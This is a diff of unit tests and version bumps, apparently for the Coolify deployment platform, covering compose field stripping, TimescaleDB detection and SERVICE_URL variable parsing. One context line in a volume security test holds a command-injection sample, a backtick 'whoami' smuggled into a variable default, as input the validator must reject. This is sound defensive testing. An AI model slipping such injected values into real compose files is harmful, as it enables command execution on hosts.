+        'image', 'environment', 'ports', 'volumes',
+        'healthcheck', 'restart', 'networks',
+    ]);
+    assertEquals('postgres:16', $result['services']['db']['image']);
+    assertEquals(['5432:5432'], $result['services']['db']['ports']);
+});
+
+test('handles missing services gracefully', function () {
+    $yaml = [
+        'version' => '3.8',
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result)->toBe($yaml);
+});
+
+test('handles missing volumes in service gracefully', function () {
+    $yaml = [
+        'services' => [
+            'app' => [
+                'image' => 'nginx:latest',
+                'exclude_from_hc' => true,
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result['services']['app'])->not->toHaveKey('exclude_from_hc');
+    expect($result['services']['app'])->not->toHaveKey('volumes');
+    assertEquals('nginx:latest', $result['services']['app']['image']);
+});
+
+test('handles traccar.yaml example with multiline content', function () {
+    $yaml = [
+        'services' => [
+            'traccar' => [
+                'image' => 'traccar/traccar:latest',
+                'volumes' => [
+                    [
+                        'type' => 'bind',
+                        'source' => './srv/traccar/conf/traccar.xml',
+                        'target' => '/opt/traccar/conf/traccar.xml',
+                        'content' => "<?xml version='1.0' encoding='UTF-8'?>\n<!DOCTYPE properties SYSTEM 'http://java.sun.com/dtd/properties.dtd'>\n<properties>\n    <entry key='config.default'>./conf/default.xml</entry>\n</properties>",
+                    ],
+                ],
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result['services']['traccar']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
+    expect($result['services']['traccar']['volumes'][0])->not->toHaveKey('content');
+    assertEquals('./srv/traccar/conf/traccar.xml', $result['services']['traccar']['volumes'][0]['source']);
+});
diff --git a/tests/Unit/TimescaleDbDetectionTest.php b/tests/Unit/TimescaleDbDetectionTest.php
new file mode 100644
index 000000000..70c4ed1c1
--- /dev/null
+++ b/tests/Unit/TimescaleDbDetectionTest.php
@@ -0,0 +1,80 @@
+<?php
+
+use App\Models\ServiceDatabase;
+
+use function PHPUnit\Framework\assertTrue;
+
+test('timescaledb is detected as database with postgres environment variables', function () {
+    $image = 'timescale/timescaledb';
+    $serviceConfig = [
+        'image' => 'timescale/timescaledb',
+        'environment' => [
+            'POSTGRES_DB=$POSTGRES_DB',
+            'POSTGRES_USER=$SERVICE_USER_POSTGRES',
+            'POSTGRES_PASSWORD=$SERVICE_PASSWORD_POSTGRES',
+        ],
+        'volumes' => [
+            'timescaledb-data:/var/lib/postgresql/data',
+        ],
+    ];
+
+    $isDatabase = isDatabaseImage($image, $serviceConfig);
+
+    assertTrue($isDatabase, 'TimescaleDB with POSTGRES_PASSWORD should be detected as database');
+});
+
+test('timescaledb is detected as database without service config', function () {
+    $image = 'timescale/timescaledb';
+
+    $isDatabase = isDatabaseImage($image);
+
+    assertTrue($isDatabase, 'TimescaleDB image should be in DATABASE_DOCKER_IMAGES constant');
+});
+
+test('timescaledb-ha is detected as database', function () {
+    $image = 'timescale/timescaledb-ha';
+
+    $isDatabase = isDatabaseImage($image);
+
+    assertTrue($isDatabase, 'TimescaleDB HA image should be in DATABASE_DOCKER_IMAGES constant');
+});
+
+test('timescaledb databaseType returns postgresql', function () {
+    $database = new ServiceDatabase;
+    $database->setRawAttributes(['image' => 'timescale/timescaledb:latest', 'custom_type' => null]);
+    $database->syncOriginal();
+
+    $type = $database->databaseType();
+
+    expect($type)->toBe('standalone-postgresql');
+});
+
+test('timescaledb-ha databaseType returns postgresql', function () {
+    $database = new ServiceDatabase;
+    $database->setRawAttributes(['image' => 'timescale/timescaledb-ha:pg17', 'custom_type' => null]);
+    $database->syncOriginal();
+
+    $type = $database->databaseType();
+
+    expect($type)->toBe('standalone-postgresql');
+});
+
+test('timescaledb backup solution is available', function () {
+    $database = new ServiceDatabase;
+    $database->setRawAttributes(['image' => 'timescale/timescaledb:latest', 'custom_type' => null]);
+    $database->syncOriginal();
+
+    $isAvailable = $database->isBackupSolutionAvailable();
+
+    assertTrue($isAvailable, 'TimescaleDB should have backup solution available');
+});
+
+test('timescaledb-ha backup solution is available', function () {
+    $database = new ServiceDatabase;
+    $database->setRawAttributes(['image' => 'timescale/timescaledb-ha:pg17', 'custom_type' => null]);
+    $database->syncOriginal();
+
+    $isAvailable = $database->isBackupSolutionAvailable();
+
+    assertTrue($isAvailable, 'TimescaleDB HA should have backup solution available');
+});
diff --git a/tests/Unit/UpdateComposeAbbreviatedVariablesTest.php b/tests/Unit/UpdateComposeAbbreviatedVariablesTest.php
new file mode 100644
index 000000000..4ef7def9c
--- /dev/null
+++ b/tests/Unit/UpdateComposeAbbreviatedVariablesTest.php
@@ -0,0 +1,563 @@
+<?php
+
+/**
+ * Unit tests to verify that updateCompose() correctly handles abbreviated
+ * SERVICE_URL and SERVICE_FQDN variable names from templates.
+ *
+ * This tests the fix for GitHub issue #7243 where SERVICE_URL_OPDASHBOARD
+ * wasn't being updated when the domain changed, while SERVICE_URL_OPDASHBOARD_3000
+ * was being updated correctly.
+ *
+ * The issue occurs when template variable names are abbreviated (e.g., OPDASHBOARD)
+ * instead of using the full container name (e.g., OPENPANEL_DASHBOARD).
+ */
+
+use Symfony\Component\Yaml\Yaml;
+
+it('detects SERVICE_URL variables directly declared in template environment', function () {
+    $yaml = <<<'YAML'
+services:
+  openpanel-dashboard:
+    environment:
+      - SERVICE_URL_OPDASHBOARD_3000
+      - OTHER_VAR=value
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.openpanel-dashboard');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $envVar) {
+        if (is_string($envVar)) {
+            $envVarName = str($envVar)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    expect($templateVariableNames)->toContain('SERVICE_URL_OPDASHBOARD_3000');
+    expect($templateVariableNames)->not->toContain('OTHER_VAR');
+});
+
+it('only detects directly declared SERVICE_URL variables not references', function () {
+    $yaml = <<<'YAML'
+services:
+  openpanel-dashboard:
+    environment:
+      - SERVICE_URL_OPDASHBOARD_3000
+      - NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}
+      - NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.openpanel-dashboard');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $envVar) {
+        if (is_string($envVar)) {
+            $envVarName = str($envVar)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    // Should only detect the direct declaration
+    expect($templateVariableNames)->toContain('SERVICE_URL_OPDASHBOARD_3000');
+    // Should NOT detect references (those belong to other services)
+    expect($templateVariableNames)->not->toContain('SERVICE_URL_OPDASHBOARD');
+    expect($templateVariableNames)->not->toContain('SERVICE_URL_OPAPI');
+});
+
+it('detects multiple directly declared SERVICE_URL variables', function () {
+    $yaml = <<<'YAML'
+services:
+  app:
+    environment:
+      - SERVICE_URL_APP
+      - SERVICE_URL_APP_3000
+      - SERVICE_FQDN_API
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.app');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $envVar) {
+        if (is_string($envVar)) {
+            // Extract variable name (before '=' if present)
+            $envVarName = str($envVar)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    $templateVariableNames = array_unique($templateVariableNames);
+
+    expect($templateVariableNames)->toHaveCount(3);
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP');
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
+    expect($templateVariableNames)->toContain('SERVICE_FQDN_API');
+});
+
+it('removes duplicates from template variable names', function () {
+    $yaml = <<<'YAML'
+services:
+  app:
+    environment:
+      - SERVICE_URL_APP
+      - PUBLIC_URL=${SERVICE_URL_APP}
+      - PRIVATE_URL=${SERVICE_URL_APP}
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.app');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $envVar) {
+        if (is_string($envVar)) {
+            $envVarName = str($envVar)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+        if (is_string($envVar) && str($envVar)->contains('${')) {
+            preg_match_all('/\$\{(SERVICE_(?:FQDN|URL)_[^}]+)\}/', $envVar, $matches);
+            if (! empty($matches[1])) {
+                foreach ($matches[1] as $match) {
+                    $templateVariableNames[] = $match;
+                }
+            }
+        }
+    }
+
+    $templateVariableNames = array_unique($templateVariableNames);
+
+    // SERVICE_URL_APP appears 3 times but should only be in array once
+    expect($templateVariableNames)->toHaveCount(1);
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP');
+});
+
+it('detects SERVICE_FQDN variables in addition to SERVICE_URL', function () {
+    $yaml = <<<'YAML'
+services:
+  app:
+    environment:
+      - SERVICE_FQDN_APP
+      - SERVICE_FQDN_APP_3000
+      - SERVICE_URL_APP
+      - SERVICE_URL_APP_8080
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.app');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $envVar) {
+        if (is_string($envVar)) {
+            $envVarName = str($envVar)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    expect($templateVariableNames)->toHaveCount(4);
+    expect($templateVariableNames)->toContain('SERVICE_FQDN_APP');
+    expect($templateVariableNames)->toContain('SERVICE_FQDN_APP_3000');
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP');
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP_8080');
+});
+
+it('handles abbreviated service names that differ from container names', function () {
+    // This is the actual OpenPanel case from GitHub issue #7243
+    // Container name: openpanel-dashboard
+    // Template variable: SERVICE_URL_OPDASHBOARD (abbreviated)
+
+    $containerName = 'openpanel-dashboard';
+    $templateVariableName = 'SERVICE_URL_OPDASHBOARD';
+
+    // The old logic would generate this from container name:
+    $generatedFromContainer = 'SERVICE_URL_'.str($containerName)->upper()->replace('-', '_')->value();
+
+    // This shows the mismatch
+    expect($generatedFromContainer)->toBe('SERVICE_URL_OPENPANEL_DASHBOARD');
+    expect($generatedFromContainer)->not->toBe($templateVariableName);
+
+    // The template uses the abbreviated form
+    expect($templateVariableName)->toBe('SERVICE_URL_OPDASHBOARD');
+});
+
+it('correctly identifies abbreviated variable patterns', function () {
+    $tests = [
+        // Full name transformations (old logic)
+        ['container' => 'openpanel-dashboard', 'generated' => 'SERVICE_URL_OPENPANEL_DASHBOARD'],
+        ['container' => 'my-long-service', 'generated' => 'SERVICE_URL_MY_LONG_SERVICE'],
+
+        // Abbreviated forms (template logic)
+        ['container' => 'openpanel-dashboard', 'template' => 'SERVICE_URL_OPDASHBOARD'],
+        ['container' => 'openpanel-api', 'template' => 'SERVICE_URL_OPAPI'],
+        ['container' => 'my-long-service', 'template' => 'SERVICE_URL_MLS'],
+    ];
+
+    foreach ($tests as $test) {
+        if (isset($test['generated'])) {
+            $generated = 'SERVICE_URL_'.str($test['container'])->upper()->replace('-', '_')->value();
+            expect($generated)->toBe($test['generated']);
+        }
+
+        if (isset($test['template'])) {
+            // Template abbreviations can't be generated from container name
+            // They must be parsed from the actual template
+            expect($test['template'])->toMatch('/^SERVICE_URL_[A-Z0-9_]+$/');
+        }
+    }
+});
+
+it('verifies direct declarations are not confused with references', function () {
+    // Direct declarations should be detected
+    $directDeclaration = 'SERVICE_URL_APP';
+    expect(str($directDeclaration)->startsWith('SERVICE_URL_'))->toBeTrue();
+    expect(str($directDeclaration)->before('=')->value())->toBe('SERVICE_URL_APP');
+
+    // References should not be detected as declarations
+    $reference = 'NEXT_PUBLIC_URL=${SERVICE_URL_APP}';
+    $varName = str($reference)->before('=')->trim();
+    expect($varName->startsWith('SERVICE_URL_'))->toBeFalse();
+    expect($varName->value())->toBe('NEXT_PUBLIC_URL');
+});
+
+it('ensures updateCompose helper file has template parsing logic', function () {
+    $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
+
+    // Check that the fix is in place
+    expect($servicesFile)->toContain('Extract SERVICE_URL and SERVICE_FQDN variable names from the compose template');
+    expect($servicesFile)->toContain('to ensure we use the exact names defined in the template');
+    expect($servicesFile)->toContain('$templateVariableNames');
+    expect($servicesFile)->toContain('DIRECTLY DECLARED');
+    expect($servicesFile)->toContain('not variables that are merely referenced from other services');
+});
+
+it('verifies that service names are extracted to create both URL and FQDN pairs', function () {
+    $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
+
+    // Verify the logic to create both pairs exists
+    expect($servicesFile)->toContain('create BOTH SERVICE_URL and SERVICE_FQDN pairs');
+    expect($servicesFile)->toContain('ALWAYS create base pair');
+    expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
+    expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
+});
+
+it('extracts service names correctly for pairing', function () {
+    // Simulate what the updateCompose function does
+    $templateVariableNames = [
+        'SERVICE_URL_OPDASHBOARD',
+        'SERVICE_URL_OPDASHBOARD_3000',
+        'SERVICE_URL_OPAPI',
+    ];
+
+    $serviceNamesToProcess = [];
+    foreach ($templateVariableNames as $templateVarName) {
+        $parsed = parseServiceEnvironmentVariable($templateVarName);
+        $serviceName = $parsed['service_name'];
+
+        if (! isset($serviceNamesToProcess[$serviceName])) {
+            $serviceNamesToProcess[$serviceName] = [
+                'base' => $serviceName,
+                'ports' => [],
+            ];
+        }
+
+        if ($parsed['has_port'] && $parsed['port']) {
+            $serviceNamesToProcess[$serviceName]['ports'][] = $parsed['port'];
+        }
+    }
+
+    // Should extract 2 unique service names
+    expect($serviceNamesToProcess)->toHaveCount(2);
+    expect($serviceNamesToProcess)->toHaveKey('opdashboard');
+    expect($serviceNamesToProcess)->toHaveKey('opapi');
+
+    // OPDASHBOARD should have port 3000 tracked
+    expect($serviceNamesToProcess['opdashboard']['ports'])->toContain('3000');
+
+    // OPAPI should have no ports
+    expect($serviceNamesToProcess['opapi']['ports'])->toBeEmpty();
+});
+
+it('should create both URL and FQDN when only URL is in template', function () {
+    // Given: Template defines only SERVICE_URL_APP
+    $templateVar = 'SERVICE_URL_APP';
+
+    // When: Processing this variable
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+    $serviceName = $parsed['service_name'];
+
+    // Then: We should create both:
+    // - SERVICE_URL_APP (or SERVICE_URL_app depending on template)
+    // - SERVICE_FQDN_APP (or SERVICE_FQDN_app depending on template)
+    expect($serviceName)->toBe('app');
+
+    $urlKey = 'SERVICE_URL_'.str($serviceName)->upper();
+    $fqdnKey = 'SERVICE_FQDN_'.str($serviceName)->upper();
+
+    expect($urlKey)->toBe('SERVICE_URL_APP');
+    expect($fqdnKey)->toBe('SERVICE_FQDN_APP');
+});
+
+it('should create both URL and FQDN when only FQDN is in template', function () {
+    // Given: Template defines only SERVICE_FQDN_DATABASE
+    $templateVar = 'SERVICE_FQDN_DATABASE';
+
+    // When: Processing this variable
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+    $serviceName = $parsed['service_name'];
+
+    // Then: We should create both:
+    // - SERVICE_URL_DATABASE (or SERVICE_URL_database depending on template)
+    // - SERVICE_FQDN_DATABASE (or SERVICE_FQDN_database depending on template)
+    expect($serviceName)->toBe('database');
+
+    $urlKey = 'SERVICE_URL_'.str($serviceName)->upper();
+    $fqdnKey = 'SERVICE_FQDN_'.str($serviceName)->upper();
+
+    expect($urlKey)->toBe('SERVICE_URL_DATABASE');
+    expect($fqdnKey)->toBe('SERVICE_FQDN_DATABASE');
+});
+
+it('should create all 4 variables when port-specific variable is in template', function () {
+    // Given: Template defines SERVICE_URL_UMAMI_3000
+    $templateVar = 'SERVICE_URL_UMAMI_3000';
+
+    // When: Processing this variable
+    $parsed = parseServiceEnvironmentVariable($templateVar);
+    $serviceName = $parsed['service_name'];
+    $port = $parsed['port'];
+
+    // Then: We should create all 4:
+    // 1. SERVICE_URL_UMAMI (base)
+    // 2. SERVICE_FQDN_UMAMI (base)
+    // 3. SERVICE_URL_UMAMI_3000 (port-specific)
+    // 4. SERVICE_FQDN_UMAMI_3000 (port-specific)
+
+    expect($serviceName)->toBe('umami');
+    expect($port)->toBe('3000');
+
+    $serviceNameUpper = str($serviceName)->upper();
+    $baseUrlKey = "SERVICE_URL_{$serviceNameUpper}";
+    $baseFqdnKey = "SERVICE_FQDN_{$serviceNameUpper}";
+    $portUrlKey = "SERVICE_URL_{$serviceNameUpper}_{$port}";
+    $portFqdnKey = "SERVICE_FQDN_{$serviceNameUpper}_{$port}";
+
+    expect($baseUrlKey)->toBe('SERVICE_URL_UMAMI');
+    expect($baseFqdnKey)->toBe('SERVICE_FQDN_UMAMI');
+    expect($portUrlKey)->toBe('SERVICE_URL_UMAMI_3000');
+    expect($portFqdnKey)->toBe('SERVICE_FQDN_UMAMI_3000');
+});
+
+it('should handle multiple ports for same service', function () {
+    $templateVariableNames = [
+        'SERVICE_URL_API_3000',
+        'SERVICE_URL_API_8080',
+    ];
+
+    $serviceNamesToProcess = [];
+    foreach ($templateVariableNames as $templateVarName) {
+        $parsed = parseServiceEnvironmentVariable($templateVarName);
+        $serviceName = $parsed['service_name'];
+
+        if (! isset($serviceNamesToProcess[$serviceName])) {
+            $serviceNamesToProcess[$serviceName] = [
+                'base' => $serviceName,
+                'ports' => [],
+            ];
+        }
+
+        if ($parsed['has_port'] && $parsed['port']) {
+            $serviceNamesToProcess[$serviceName]['ports'][] = $parsed['port'];
+        }
+    }
+
+    // Should have one service with two ports
+    expect($serviceNamesToProcess)->toHaveCount(1);
+    expect($serviceNamesToProcess['api']['ports'])->toHaveCount(2);
+    expect($serviceNamesToProcess['api']['ports'])->toContain('3000');
+    expect($serviceNamesToProcess['api']['ports'])->toContain('8080');
+
+    // Should create 6 variables total:
+    // 1. SERVICE_URL_API (base)
+    // 2. SERVICE_FQDN_API (base)
+    // 3. SERVICE_URL_API_3000
+    // 4. SERVICE_FQDN_API_3000
+    // 5. SERVICE_URL_API_8080
+    // 6. SERVICE_FQDN_API_8080
+});
+
+it('detects SERVICE_URL variables in map-style environment format', function () {
+    $yaml = <<<'YAML'
+services:
+  trigger:
+    environment:
+      SERVICE_URL_TRIGGER_3000: ""
+      SERVICE_FQDN_DB: localhost
+      OTHER_VAR: value
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.trigger');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $key => $value) {
+        if (is_int($key) && is_string($value)) {
+            // List-style
+            $envVarName = str($value)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        } elseif (is_string($key)) {
+            // Map-style
+            $envVarName = str($key);
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    expect($templateVariableNames)->toHaveCount(2);
+    expect($templateVariableNames)->toContain('SERVICE_URL_TRIGGER_3000');
+    expect($templateVariableNames)->toContain('SERVICE_FQDN_DB');
+    expect($templateVariableNames)->not->toContain('OTHER_VAR');
+});
+
+it('handles multiple map-style SERVICE_URL and SERVICE_FQDN variables', function () {
+    $yaml = <<<'YAML'
+services:
+  app:
+    environment:
+      SERVICE_URL_APP_3000: ""
+      SERVICE_FQDN_API: api.local
+      SERVICE_URL_WEB: ""
+      OTHER_VAR: value
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.app');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $key => $value) {
+        if (is_int($key) && is_string($value)) {
+            // List-style
+            $envVarName = str($value)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        } elseif (is_string($key)) {
+            // Map-style
+            $envVarName = str($key);
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    expect($templateVariableNames)->toHaveCount(3);
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
+    expect($templateVariableNames)->toContain('SERVICE_FQDN_API');
+    expect($templateVariableNames)->toContain('SERVICE_URL_WEB');
+    expect($templateVariableNames)->not->toContain('OTHER_VAR');
+});
+
+it('does not detect SERVICE_URL references in map-style values', function () {
+    $yaml = <<<'YAML'
+services:
+  app:
+    environment:
+      SERVICE_URL_APP_3000: ""
+      NEXT_PUBLIC_URL: ${SERVICE_URL_APP}
+      API_ENDPOINT: ${SERVICE_URL_API}
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.app');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $key => $value) {
+        if (is_int($key) && is_string($value)) {
+            // List-style
+            $envVarName = str($value)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        } elseif (is_string($key)) {
+            // Map-style
+            $envVarName = str($key);
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    // Should only detect the direct declaration, not references in values
+    expect($templateVariableNames)->toHaveCount(1);
+    expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
+    expect($templateVariableNames)->not->toContain('SERVICE_URL_APP');
+    expect($templateVariableNames)->not->toContain('SERVICE_URL_API');
+    expect($templateVariableNames)->not->toContain('NEXT_PUBLIC_URL');
+    expect($templateVariableNames)->not->toContain('API_ENDPOINT');
+});
+
+it('handles map-style with abbreviated service names', function () {
+    // Simulating the langfuse.yaml case with map-style
+    $yaml = <<<'YAML'
+services:
+  langfuse:
+    environment:
+      SERVICE_URL_LANGFUSE_3000: ${SERVICE_URL_LANGFUSE_3000}
+      DATABASE_URL: postgres://...
+YAML;
+
+    $dockerCompose = Yaml::parse($yaml);
+    $serviceConfig = data_get($dockerCompose, 'services.langfuse');
+    $environment = data_get($serviceConfig, 'environment', []);
+
+    $templateVariableNames = [];
+    foreach ($environment as $key => $value) {
+        if (is_int($key) && is_string($value)) {
+            // List-style
+            $envVarName = str($value)->before('=')->trim();
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        } elseif (is_string($key)) {
+            // Map-style
+            $envVarName = str($key);
+            if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                $templateVariableNames[] = $envVarName->value();
+            }
+        }
+    }
+
+    expect($templateVariableNames)->toHaveCount(1);
+    expect($templateVariableNames)->toContain('SERVICE_URL_LANGFUSE_3000');
+    expect($templateVariableNames)->not->toContain('DATABASE_URL');
+});
+
+it('verifies updateCompose helper has dual-format handling', function () {
+    $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
+
+    // Check that both formats are handled
+    expect($servicesFile)->toContain('is_int($key) && is_string($value)');
+    expect($servicesFile)->toContain('List-style');
+    expect($servicesFile)->toContain('elseif (is_string($key))');
+    expect($servicesFile)->toContain('Map-style');
+});
diff --git a/tests/Unit/VolumeArrayFormatSecurityTest.php b/tests/Unit/VolumeArrayFormatSecurityTest.php
index 97a6819b2..08174fff3 100644
--- a/tests/Unit/VolumeArrayFormatSecurityTest.php
+++ b/tests/Unit/VolumeArrayFormatSecurityTest.php
@@ -194,6 +194,36 @@
         ->not->toThrow(Exception::class);
 });
 
+test('array-format with environment variable and path concatenation', function () {
+    // This is the reported issue #7127 - ${VAR}/path should be allowed
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: '${VOLUMES_PATH}/mysql'
+        target: /var/lib/mysql
+      - type: bind
+        source: '${DATA_PATH}/config'
+        target: /etc/config
+      - type: bind
+        source: '${VOLUME_PATH}/app_data'
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+
+    // Verify all three volumes have the correct source format
+    expect($parsed['services']['web']['volumes'][0]['source'])->toBe('${VOLUMES_PATH}/mysql');
+    expect($parsed['services']['web']['volumes'][1]['source'])->toBe('${DATA_PATH}/config');
+    expect($parsed['services']['web']['volumes'][2]['source'])->toBe('${VOLUME_PATH}/app_data');
+
+    // The validation should allow this - the reported bug was that it was blocked
+    expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
+        ->not->toThrow(Exception::class);
+});
+
 test('array-format with malicious environment variable default', function () {
     $dockerComposeYaml = <<<'YAML'
 services:
diff --git a/tests/Unit/VolumeSecurityTest.php b/tests/Unit/VolumeSecurityTest.php
index d7f20fc0e..f4cd6c268 100644
--- a/tests/Unit/VolumeSecurityTest.php
+++ b/tests/Unit/VolumeSecurityTest.php
@@ -94,6 +94,27 @@
     }
 });
 
+test('parseDockerVolumeString accepts environment variables with path concatenation', function () {
+    $volumes = [
+        '${VOLUMES_PATH}/mysql:/var/lib/mysql',
+        '${DATA_PATH}/config:/etc/config',
+        '${VOLUME_PATH}/app_data:/app',
+        '${MY_VAR_123}/deep/nested/path:/data',
+        '${VAR}/path:/app',
+        '${VAR}_suffix:/app',
+        '${VAR}-suffix:/app',
+        '${VAR}.ext:/app',
+        '${VOLUMES_PATH}/mysql:/var/lib/mysql:ro',
+        '${DATA_PATH}/config:/etc/config:rw',
+    ];
+
+    foreach ($volumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result['source'])->not->toBeNull();
+    }
+});
+
 test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
     $maliciousVolumes = [
         '${VAR:-`whoami`}:/app',
diff --git a/versions.json b/versions.json
index edf4a3700..e946d3bb6 100644
--- a/versions.json
+++ b/versions.json
@@ -1,19 +1,29 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.439"
+            "version": "4.0.0-beta.448"
         },
         "nightly": {
-            "version": "4.0.0-beta.440"
+            "version": "4.0.0-beta.449"
         },
         "helper": {
-            "version": "1.0.11"
+            "version": "1.0.12"
         },
         "realtime": {
             "version": "1.0.10"
         },
         "sentinel": {
-            "version": "0.0.16"
+            "version": "0.0.18"
         }
+    },
+    "traefik": {
+        "v3.6": "3.6.1",
+        "v3.5": "3.5.6",
+        "v3.4": "3.4.5",
+        "v3.3": "3.3.7",
+        "v3.2": "3.2.5",
+        "v3.1": "3.1.7",
+        "v3.0": "3.0.4",
+        "v2.11": "2.11.31"
     }
 }
\ No newline at end of file